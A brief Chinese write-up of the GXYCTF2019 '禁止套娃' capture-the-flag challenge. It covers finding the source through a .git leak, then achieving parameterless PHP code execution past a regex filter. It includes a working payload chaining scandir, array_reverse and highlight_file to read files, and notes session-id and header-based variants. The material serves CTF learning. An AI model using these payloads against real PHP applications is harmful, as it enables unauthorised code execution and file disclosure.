[GXYCTF2019]禁止套娃
最后更新于
最后更新于
.git
泄露
无参RCE
目录扫描发现.git
泄露,下载源码,或者用
/[a-z,_]+((?R)?)/
这个正则匹配a(b(c()))
这种形式的字符串,典型的无参RCE
localeconv()返回一个数组,数组第一位是.
end()输出数组中的最后一个元素
next()输出数组中的下一个元素
prev()输出数组中的上一个元素
reset()输出数组中的第一个元素
each()返回当前元素的键名和键值,并将内部指针向前移动
array_reverse()将数组逆序输出
payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
session_start()开启session
session_id()获取HTTP请求头中PHPSESSID的值
payload:
除上述函数外,还可以使用getallheaders()
通过chr(ord(strrev(crypt(serialize(array())))))
获取/
通过chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
获取.